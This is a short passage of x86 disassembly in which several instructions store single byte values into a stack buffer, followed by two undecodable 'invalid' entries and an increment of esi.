and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
invalid
invalid
inc esi